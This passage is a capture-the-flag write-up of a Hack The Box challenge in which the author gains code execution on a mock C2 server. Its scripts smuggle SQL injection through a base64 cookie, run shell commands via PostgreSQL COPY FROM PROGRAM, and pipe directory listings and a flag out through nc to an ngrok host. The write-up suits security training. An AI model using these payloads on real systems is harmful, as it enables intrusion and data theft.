    'jitter': 5,
    'user_agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337',
    'headers': {
        'Accept': '*/*',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Sec-Fetch-Dest': 'empty',
        'Sec-Fetch-Mode': 'cors',
        'Sec-Fetch-Site': 'cross-site',
        'Cookie': '__cflb=$$UUID$$; __cfuid=$$RECV$$'
    },
    'get_uri': '/assets/jquery-3.6.0.slim.min.js',
    'set_uri': '/assets/jquery-3.6.0.slim.min.js'
}

All these fields in there are typical HTTP headers. And we recognize the __cflb and the __cfuid from before. My guess is that this is the headers that needs to be present for the C2 server to respond to our HTTP requests. NOW its about time we hack them back!!!

Gaining Access

Analysing a probable sql injection

First of all let’s see if we can verify that there is a sql injection present. Let’s try to do the same things as in the tcp stream but from a pythion script instead. Usualy it would be a good idea to use curl for this but given the amount of headers and stuff I think a python script will be more structured. I came up with this:

import requests
import base64
import json

proxies = {"http": "http://192.168.1.118:8080"}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "cross-site",
    "Cookie": "__cflb=$$UUID$$; __cfuid=$$RECV$$",
}

cfuid = {"id": 20, "output": base64.b64encode(b"HAXXOR STUFF").decode("ascii")}

b64 = base64.b64encode(
    bytes(
        json.dumps(cfuid),
        "ascii",
    )
).decode("ascii")

headers["Cookie"] = f"__cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid={b64}"

response = requests.post(
    "http://206.189.124.56:31361/assets/jquery-3.6.0.slim.min.js",
    headers=headers,
    proxies=proxies,
)

print(response.text)

The idea here is to try to mimic what happened in tcp stream 8 in detail. I copied every header from the profile and stole the __cflb from the tcp stream. So if we run this script we should get a sql error just like before. Notice that I just put som random base64 stuff in the output field since I don’t think it matters what it is as long as it does not interfere with the json like in tcp stream 6. I also use a proxy (burp) so that I can inspet the traffic furher if there are any problems.

Now let’s try this!!!

┌──(root㉿0760542dd268)-[/web_debugger_unchained]
└─# python3 exploit.py 
<!doctype html>
<html lang=en>
  <head>
    <title>psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint "task_outputs_task_id_key"
DETAIL:  Key (task_id)=(20) already exists.

 // Werkzeug Debugger</title>
    <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css">
    <link rel="shortcut icon"
        href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png">
    <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script>
    <script>
      var CONSOLE_MODE = false,
          EVALEX = false,
          EVALEX_TRUSTED = false,
          SECRET = "xH1jpjP95KhOkzWl9qAs";
    </script>
  </head>
  <body style="background-color: #fff">
    <div class="debugger">
<h1>UniqueViolation</h1>
<div class="detail">
  <p class="errormsg">psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint &quot;task_outputs_task_id_key&quot;
DETAIL:  Key (task_id)=(20) already exists.

</p>
</div>
<h2 class="traceback">Traceback <em>(most recent call last)</em></h2>
<div class="traceback">
  <h3></h3>
  <ul><li><div class="frame" id="frame-140058826035600">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2095</em>,
      in <code class="function">__call__</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">    </span>def __call__(self, environ: dict, start_response: t.Callable) -&gt; t.Any:</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;The WSGI server calls the Flask application object as the</pre>
<pre class="line before"><span class="ws">        </span>WSGI application. This calls :meth:`wsgi_app`, which can be</pre>
<pre class="line before"><span class="ws">        </span>wrapped to apply middleware.</pre>
<pre class="line before"><span class="ws">        </span>&quot;&quot;&quot;</pre>
<pre class="line current"><span class="ws">        </span>return self.wsgi_app(environ, start_response)</pre></div>
</div>

<li><div class="frame" id="frame-140058826035936">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2080</em>,
      in <code class="function">wsgi_app</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>try:</pre>
<pre class="line before"><span class="ws">                </span>ctx.push()</pre>
<pre class="line before"><span class="ws">                </span>response = self.full_dispatch_request()</pre>
<pre class="line before"><span class="ws">            </span>except Exception as e:</pre>
<pre class="line before"><span class="ws">                </span>error = e</pre>
<pre class="line current"><span class="ws">                </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws">            </span>except:  # noqa: B001</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre>
<pre class="line after"><span class="ws">                </span>raise</pre>
<pre class="line after"><span class="ws">            </span>return response(environ, start_response)</pre>
<pre class="line after"><span class="ws">        </span>finally:</pre></div>
</div>

<li><div class="frame" id="frame-140058826035712">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">2077</em>,
      in <code class="function">wsgi_app</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">        </span>ctx = self.request_context(environ)</pre>
<pre class="line before"><span class="ws">        </span>error: t.Optional[BaseException] = None</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>try:</pre>
<pre class="line before"><span class="ws">                </span>ctx.push()</pre>
<pre class="line current"><span class="ws">                </span>response = self.full_dispatch_request()</pre>
<pre class="line after"><span class="ws">            </span>except Exception as e:</pre>
<pre class="line after"><span class="ws">                </span>error = e</pre>
<pre class="line after"><span class="ws">                </span>response = self.handle_exception(e)</pre>
<pre class="line after"><span class="ws">            </span>except:  # noqa: B001</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre></div>
</div>

<li><div class="frame" id="frame-140058826036384">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1525</em>,
      in <code class="function">full_dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>request_started.send(self)</pre>
<pre class="line before"><span class="ws">            </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws">            </span>if rv is None:</pre>
<pre class="line before"><span class="ws">                </span>rv = self.dispatch_request()</pre>
<pre class="line before"><span class="ws">        </span>except Exception as e:</pre>
<pre class="line current"><span class="ws">            </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws">        </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def finalize_request(</pre>
<pre class="line after"><span class="ws">        </span>self,</pre>
<pre class="line after"><span class="ws">        </span>rv: t.Union[ResponseReturnValue, HTTPException],</pre></div>
</div>

<li><div class="frame" id="frame-140058826036272">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1523</em>,
      in <code class="function">full_dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">        </span>self.try_trigger_before_first_request_functions()</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line before"><span class="ws">            </span>request_started.send(self)</pre>
<pre class="line before"><span class="ws">            </span>rv = self.preprocess_request()</pre>
<pre class="line before"><span class="ws">            </span>if rv is None:</pre>
<pre class="line current"><span class="ws">                </span>rv = self.dispatch_request()</pre>
<pre class="line after"><span class="ws">        </span>except Exception as e:</pre>
<pre class="line after"><span class="ws">            </span>rv = self.handle_user_exception(e)</pre>
<pre class="line after"><span class="ws">        </span>return self.finalize_request(rv)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def finalize_request(</pre></div>
</div>

<li><div class="frame" id="frame-140058826036496">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/flask/app.py"</cite>,
      line <em class="line">1509</em>,
      in <code class="function">dispatch_request</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">            </span>getattr(rule, &quot;provide_automatic_options&quot;, False)</pre>
<pre class="line before"><span class="ws">            </span>and req.method == &quot;OPTIONS&quot;</pre>
<pre class="line before"><span class="ws">        </span>):</pre>
<pre class="line before"><span class="ws">            </span>return self.make_default_options_response()</pre>
<pre class="line before"><span class="ws">        </span># otherwise dispatch to the handler for that endpoint</pre>
<pre class="line current"><span class="ws">        </span>return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def full_dispatch_request(self) -&gt; Response:</pre>
<pre class="line after"><span class="ws">        </span>&quot;&quot;&quot;Dispatches the request and on top of that performs request</pre>
<pre class="line after"><span class="ws">        </span>pre and postprocessing as well as HTTP exception catching and</pre>
<pre class="line after"><span class="ws">        </span>error handling.</pre></div>
</div>

<li><div class="frame" id="frame-140058826036608">
  <h4>File <cite class="filename">"/app/application/util.py"</cite>,
      line <em class="line">11</em>,
      in <code class="function">wrap</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws"></span>def is_bot(f):</pre>
<pre class="line before"><span class="ws">    </span>@functools.wraps(f)</pre>
<pre class="line before"><span class="ws">    </span>def wrap(*args, **kwargs):</pre>
<pre class="line before"><span class="ws">        </span>if current_app.config[&#x27;BOT_CONFIG&#x27;][&#x27;user_agent&#x27;] == request.headers.get(&#x27;User-Agent&#x27;):</pre>
<pre class="line current"><span class="ws">            </span>return f(*args, **kwargs)</pre>
<pre class="line after"><span class="ws">        </span>else:</pre>
<pre class="line after"><span class="ws">            </span>return send_from_directory(&#x27;./static/js&#x27;, os.path.basename(current_app.config[&#x27;BOT_CONFIG&#x27;][&#x27;get_uri&#x27;]))</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return wrap</pre>
<pre class="line after"><span class="ws"></span> </pre></div>
</div>

<li><div class="frame" id="frame-140058826036720">
  <h4>File <cite class="filename">"/app/application/blueprints/routes.py"</cite>,
      line <em class="line">56</em>,
      in <code class="function">botRecv</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>bot = Bot(botUUID)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>if botDATA:</pre>
<pre class="line before"><span class="ws">        </span>taskDATA = json.loads(rec_b64(unquote_plus(botDATA)))</pre>
<pre class="line current"><span class="ws">        </span>bot.saveTaskResp(**taskDATA)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>return fake_script(f&#x27;task=&quot;&quot;;&#x27;)</pre></div>
</div>

<li><div class="frame" id="frame-140058826036832">
  <h4>File <cite class="filename">"/app/application/models/bot.py"</cite>,
      line <em class="line">137</em>,
      in <code class="function">saveTaskResp</code></h4>
  <div class="source "><pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">        </span>return taskList</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>def saveTaskResp(self, id, output):</pre>
<pre class="line before"><span class="ws">        </span>with Database() as db:</pre>
<pre class="line current"><span class="ws">            </span>db.execute(f&quot;&quot;&quot;INSERT INTO task_outputs(output, task_id) VALUES (&#x27;{output}&#x27;, {id})&quot;&quot;&quot;)</pre>
<pre class="line after"><span class="ws">        </span>self.complete_task(id)</pre></div>
</div>

<li><div class="frame" id="frame-140058826036944">
  <h4>File <cite class="filename">"/app/application/database.py"</cite>,
      line <em class="line">54</em>,
      in <code class="function">execute</code></h4>
  <div class="source "><pre class="line before"><span class="ws">            </span>self.connect()</pre>
<pre class="line before"><span class="ws">            </span>self.connection.commit()</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>def execute(self, sql, params=None):</pre>
<pre class="line before"><span class="ws">        </span>try:</pre>
<pre class="line current"><span class="ws">            </span>self.cursor.execute(sql, params or ())</pre>
<pre class="line after"><span class="ws">        </span>except (AttributeError, psycopg2.OperationalError):</pre>
<pre class="line after"><span class="ws">            </span>self.connect()</pre>
<pre class="line after"><span class="ws">            </span>self.cursor.execute(sql, params or ())</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def fetchall(self):</pre></div>
</div>

<li><div class="frame" id="frame-140058826037056">
  <h4>File <cite class="filename">"/usr/local/lib/python3.8/site-packages/psycopg2/extras.py"</cite>,
      line <em class="line">312</em>,
      in <code class="function">execute</code></h4>
  <div class="source library"><pre class="line before"><span class="ws">    </span>Record = None</pre>
<pre class="line before"><span class="ws">    </span>MAX_CACHE = 1024</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line before"><span class="ws">    </span>def execute(self, query, vars=None):</pre>
<pre class="line before"><span class="ws">        </span>self.Record = None</pre>
<pre class="line current"><span class="ws">        </span>return super().execute(query, vars)</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws">    </span>def executemany(self, query, vars):</pre>
<pre class="line after"><span class="ws">        </span>self.Record = None</pre>
<pre class="line after"><span class="ws">        </span>return super().executemany(query, vars)</pre>
<pre class="line after"><span class="ws"></span> </pre></div>
</div>
</ul>
  <blockquote>psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint &quot;task_outputs_task_id_key&quot;
DETAIL:  Key (task_id)=(20) already exists.

</blockquote>
</div>

<div class="plain">
    <p>
      This is the Copy/Paste friendly version of the traceback.
    </p>
    <textarea cols="50" rows="10" name="code" readonly>Traceback (most recent call last):
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2080, in wsgi_app
    response = self.handle_exception(e)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File &quot;/usr/local/lib/python3.8/site-packages/flask/app.py&quot;, line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File &quot;/app/application/util.py&quot;, line 11, in wrap
    return f(*args, **kwargs)
  File &quot;/app/application/blueprints/routes.py&quot;, line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File &quot;/app/application/models/bot.py&quot;, line 137, in saveTaskResp
    db.execute(f&quot;&quot;&quot;INSERT INTO task_outputs(output, task_id) VALUES (&#x27;{output}&#x27;, {id})&quot;&quot;&quot;)
  File &quot;/app/application/database.py&quot;, line 54, in execute
    self.cursor.execute(sql, params or ())
  File &quot;/usr/local/lib/python3.8/site-packages/psycopg2/extras.py&quot;, line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint &quot;task_outputs_task_id_key&quot;
DETAIL:  Key (task_id)=(20) already exists.

</textarea>
</div>
<div class="explanation">
  The debugger caught an exception in your WSGI application.  You can now
  look at the traceback which led to the error.  <span class="nojavascript">
  If you enable JavaScript you can also use additional features such as code
  execution (if the evalex feature is enabled), automatic pasting of the
  exceptions and much more.</span>
</div>
      <div class="footer">
        Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
        friendly Werkzeug powered traceback interpreter.
      </div>
    </div>

    <div class="pin-prompt">
      <div class="inner">
        <h3>Console Locked</h3>
        <p>
          The console is locked and needs to be unlocked by entering the PIN.
          You can find the PIN printed out on the standard output of your
          shell that runs the server.
        <form>
          <p>PIN:
            <input type=text name=pin size=14>
            <input type=submit name=btn value="Confirm Pin">
        </form>
      </div>
    </div>
  </body>
</html>

<!--

Traceback (most recent call last):
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File "/usr/local/lib/python3.8/site-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File "/app/application/util.py", line 11, in wrap
    return f(*args, **kwargs)
  File "/app/application/blueprints/routes.py", line 56, in botRecv
    bot.saveTaskResp(**taskDATA)
  File "/app/application/models/bot.py", line 137, in saveTaskResp
    db.execute(f"""INSERT INTO task_outputs(output, task_id) VALUES ('{output}', {id})""")
  File "/app/application/database.py", line 54, in execute
    self.cursor.execute(sql, params or ())
  File "/usr/local/lib/python3.8/site-packages/psycopg2/extras.py", line 312, in execute
    return super().execute(query, vars)
psycopg2.errors.UniqueViolation: duplicate key value violates unique constraint "task_outputs_task_id_key"
DETAIL:  Key (task_id)=(20) already exists.



-->

YES, we get the exact same error. Now let’s try to inject some SQL into this INSERT INTO task_outputs(output, task_id) VALUES ('{output}', {id}). The injection point is id so we should be able to finnish the sql statement with a ' ) ' and then add an ' ; ' and continue with another statement. I will use a sleep here to know if it really works. Perhaps we could trigger an error instead but let’s start with a sleep. This is my idea of what I want it to look like at execution time:

INSERT INTO task_outputs(output, task_id) VALUES ('SEFYWE9SIFNUVUZGCg==', 100); SELECT pg_sleep(10);

That should make it sleep for 10 seconds and we know that we can inject sql. In the payload we need to get rid of that last ' ) ' so we add a ' – ' to comment it out like this:

100); SELECT pg_sleep(10); --

Time to implement this in the python script. Let’s also print some timestamps so we can see that the injection works. We also need to change the id for every request because this time we do not want to trigger a sql error because of a collision.

import requests
import base64
import json
import datetime

proxies = {"http": "http://192.168.1.118:8080"}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "cross-site",
    "Cookie": "__cflb=$$UUID$$; __cfuid=$$RECV$$",
}

cfuid = {"id": "100); SELECT pg_sleep(10); --", "output": base64.b64encode(b"HAXXOR STUFF").decode("ascii")}

b64 = base64.b64encode(
    bytes(
        json.dumps(cfuid),
        "ascii",
    )
).decode("ascii")

headers["Cookie"] = f"__cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid={b64}"

ct = datetime.datetime.now()
print("current time:-", ct)

response = requests.post(
    "http://206.189.124.56:31361/assets/jquery-3.6.0.slim.min.js",
    headers=headers,
    proxies=proxies,
)

ct = datetime.datetime.now()
print("current time:-", ct)

#print(response.text)

And now let’s run it!!!

┌──(root㉿0760542dd268)-[/web_debugger_unchained]
└─# python3 exploit.py 
current time:- 2022-07-18 13:28:41.140033
current time:- 2022-07-18 13:28:51.403432

And YES it works. We got ourselves some sql injection. Now let’s start the hunt for RCE.

Create an exploit script to gain RCE

After some searching I found a good article om how to get RCE via SQLi in PostgreSQL. So time to work some more on that python script. Let’s start of and see if we can get some RCE. I will use that same sleep trick again but this time from executing the sleep command in Linux. Given that info from th article I came up with a payload looking like this:

DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'sleep 10'; --

If I use that payload in my previous python script it looks like this:

#!/usr/bin/env python3

import requests
import base64
import json
import datetime

proxies = {"http": "http://192.168.1.118:8080"}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "cross-site",
    "Cookie": "__cflb=$$UUID$$; __cfuid=$$RECV$$",
}

cfuid = {"id": "133); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'sleep 10'; --", "output": base64.b64encode(b"HAXXOR STUFF").decode("ascii")}

b64 = base64.b64encode(
    bytes(
        json.dumps(cfuid),
        "ascii",
    )
).decode("ascii")

headers["Cookie"] = f"__cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid={b64}"
ct = datetime.datetime.now()
print("current time:-", ct)
response = requests.post(
    "http://206.189.124.56:31361/assets/jquery-3.6.0.slim.min.js",
    headers=headers,
    proxies=proxies,
)
ct = datetime.datetime.now()
print("current time:-", ct)
#print(response.text)

Let’s try it!!

┌──(root0760542dd268)-[/web_debugger_unchained]
└─# python3 exploit.py 
current time:- 2022-07-18 14:44:48.671587
current time:- 2022-07-18 14:44:58.962831

And YEEEES it sleeps for 10 seconds. That means we have RCE on the system. At this time I tried to get some reverse shell working but once I got something connected it immediatly died. Since this was a CTF I figured we leave that for now and just try to exfiltrate some data. We are still blind so let’s try to send data back using ngrok and netcat. First fire up a netcat listner.

 ~/ ncat -lvnp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

And then an ngrok proxy that is available on the public internet and can forward the tcp connection to my listener.

 ~/Downloads/ [public*] ./ngrok tcp 127.0.0.1:1337

ngrok                                                           (Ctrl+C to quit)
                                                                                
Phishing is against the TOS. Don't do it.                                       
                                                                                
Session Status                online                                            
Account                       Christian Granström (Plan: Free)                  
Version                       3.0.6                                             
Region                        United States (us)                                
Latency                       106ms                                             
Web Interface                 http://127.0.0.1:4040                             
Forwarding                    tcp://6.tcp.ngrok.io:17987 -> 127.0.0.1:1337      
                                                                                
Connections                   ttl     opn     rt1     rt5     p50     p90       
                              0       0       0.00    0.00    0.00    0.00      

Now let’s change the Python code so that it lists the files in the / folder and sends the result back to our listener.

#!/usr/bin/env python3

import requests
import base64
import json
import datetime

proxies = {"http": "http://192.168.1.118:8080"}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "cross-site",
    "Cookie": "__cflb=$$UUID$$; __cfuid=$$RECV$$",
}

cfuid = {"id": "135); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'ls -la / | nc 6.tcp.ngrok.io 17987'; --", "output": base64.b64encode(b"HAXXOR STUFF").decode("ascii")}

b64 = base64.b64encode(
    bytes(
        json.dumps(cfuid),
        "ascii",
    )
).decode("ascii")

headers["Cookie"] = f"__cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid={b64}"
response = requests.post(
    "http://206.189.124.56:31361/assets/jquery-3.6.0.slim.min.js",
    headers=headers,
    proxies=proxies,
)

Let’s run the exploit.

┌──(root㉿0760542dd268)-[/web_debugger_unchained]
└─# python3 exploit.py 

And it seems that ngrok got a connection from our target.

ngrok                                                           (Ctrl+C to quit)
                                                                                
Phishing is against the TOS. Don't do it.                                       
                                                                                
Session Status                online                                            
Account                       Christian Granström (Plan: Free)                  
Version                       3.0.6                                             
Region                        United States (us)                                
Latency                       105ms                                             
Web Interface                 http://127.0.0.1:4040                             
Forwarding                    tcp://6.tcp.ngrok.io:17987 -> 127.0.0.1:1337      
                                                                                
Connections                   ttl     opn     rt1     rt5     p50     p90       
                              1       0       0.02    0.00    0.00    0.00      

And our listener received some very interesting information from our target.

Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:54954.
total 96
drwxr-xr-x    1 root     root          4096 Jul 18 14:56 .
drwxr-xr-x    1 root     root          4096 Jul 18 14:56 ..
drwxr-xr-x    1 root     root          4096 Jul 13 13:50 app
drwxr-xr-x    1 root     root          4096 May 25 21:41 bin
drwxr-xr-x    5 root     root           360 Jul 18 14:56 dev
-rw-------    1 root     root           793 Jun 22 20:24 entrypoint.sh
drwxr-xr-x    1 root     root          4096 Jul 18 14:56 etc
drwxr-xr-x    1 root     root          4096 Jul 13 13:50 home
drwxr-xr-x    1 root     root          4096 Jul 13 13:49 lib
drwxr-xr-x    5 root     root          4096 May 23 16:51 media
drwxr-xr-x    2 root     root          4096 May 23 16:51 mnt
drwxr-xr-x    2 root     root          4096 May 23 16:51 opt
dr-xr-xr-x  556 root     root             0 Jul 18 14:56 proc
-rwsr-xr-x    1 root     root         18344 Jul 13 13:50 readflag
drwx------    1 root     root          4096 Jul 13 13:50 root
drwxr-xr-x    1 root     root          4096 Jul 18 14:56 run
drwxr-xr-x    2 root     root          4096 May 23 16:51 sbin
drwxr-xr-x    2 root     root          4096 May 23 16:51 srv
dr-xr-xr-x   13 root     root             0 Jul 18 14:56 sys
drwxrwxrwt    1 root     root          4096 Jul 18 14:56 tmp
drwxr-xr-x    1 root     root          4096 Jul 13 13:49 usr
drwxr-xr-x    1 root     root          4096 May 25 21:41 var

That readflag is executable and looks very interesting. Let’s try that. Start up the listener again.

 ~/ ncat -lvnp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337

Ngrok ist still running.

ngrok                                                           (Ctrl+C to quit)
                                                                                
Phishing is against the TOS. Don't do it.                                       
                                                                                
Session Status                online                                            
Account                       Christian Granström (Plan: Free)                  
Version                       3.0.6                                             
Region                        United States (us)                                
Latency                       105ms                                             
Web Interface                 http://127.0.0.1:4040                             
Forwarding                    tcp://6.tcp.ngrok.io:17987 -> 127.0.0.1:1337      
                                                                                
Connections                   ttl     opn     rt1     rt5     p50     p90       
                              1       0       0.00    0.00    0.00    0.00  

Let’s change the python script so that it runs readflag and sends the output to us.

#!/usr/bin/env python3

import requests
import base64
import json
import datetime

proxies = {"http": "http://192.168.1.118:8080"}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; Xbox; Xbox One) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Edge/44.18363.1337",
    "Accept": "*/*",
    "Connection": "keep-alive",
    "Accept-Language": "en-US,en;q=0.5",
    "Accept-Encoding": "gzip, deflate",
    "Sec-Fetch-Dest": "empty",
    "Sec-Fetch-Mode": "cors",
    "Sec-Fetch-Site": "cross-site",
    "Cookie": "__cflb=$$UUID$$; __cfuid=$$RECV$$",
}

cfuid = {"id": "136); DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM '/readflag | nc 6.tcp.ngrok.io 17987'; --", "output": base64.b64encode(b"HAXXOR STUFF").decode("ascii")}

b64 = base64.b64encode(
    bytes(
        json.dumps(cfuid),
        "ascii",
    )
).decode("ascii")

headers["Cookie"] = f"__cflb=49f062b5-8b94-4fff-bb41-d504b148aa1b; __cfuid={b64}"
response = requests.post(
    "http://142.93.40.15:30832/assets/jquery-3.6.0.slim.min.js",
    headers=headers,
    proxies=proxies,
)

And you know the drill by now. Let’s run that exploit once more.

┌──(root㉿0760542dd268)-[/web_debugger_unchained]
└─# python3 exploit.py 

And now when we check our listner.

 ~/ ncat -lvnp 1337           
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:55022.
HTB{c&c_h4ckb4ck_inj3ct3d_t0_rc3}%   

Our mission here is accomplished. I got the flag so let’s move on to the next target.

Summary

First of all I like to give a big thank you to Hack The Box for once again giving us an awsome CTF. This was something out of the ordinary. We managed to put together 5 people the first day and on the second and third day I was struggling alone. The maximum people in a team was 30 and we sure could have needed some more people for this. Even the easy challenges was very time consuming.

Certificate

In the end we solved 6 out of 37 challenges and ended up just outside the top 100 at place 104. I did not sleep many hours, so YES we should have brought a bigger team. But it’s in the middle of the summer. The sun is shining and so on…

I actually did more stuff regarding this challenge. I wrote a small “proxy” that made it possible to use sqlmap. I was able to extract some stuff from the PostgreSQL that way but some things did not work so that’s why I started doing it manually. And besides that I spent too much time trying to get that reverse shell. I like to keep things as close to real life even if it’s a CTF and we always want that shell.

Until next time, happy hacking!

/f1rstr3am

Christian

HTB THM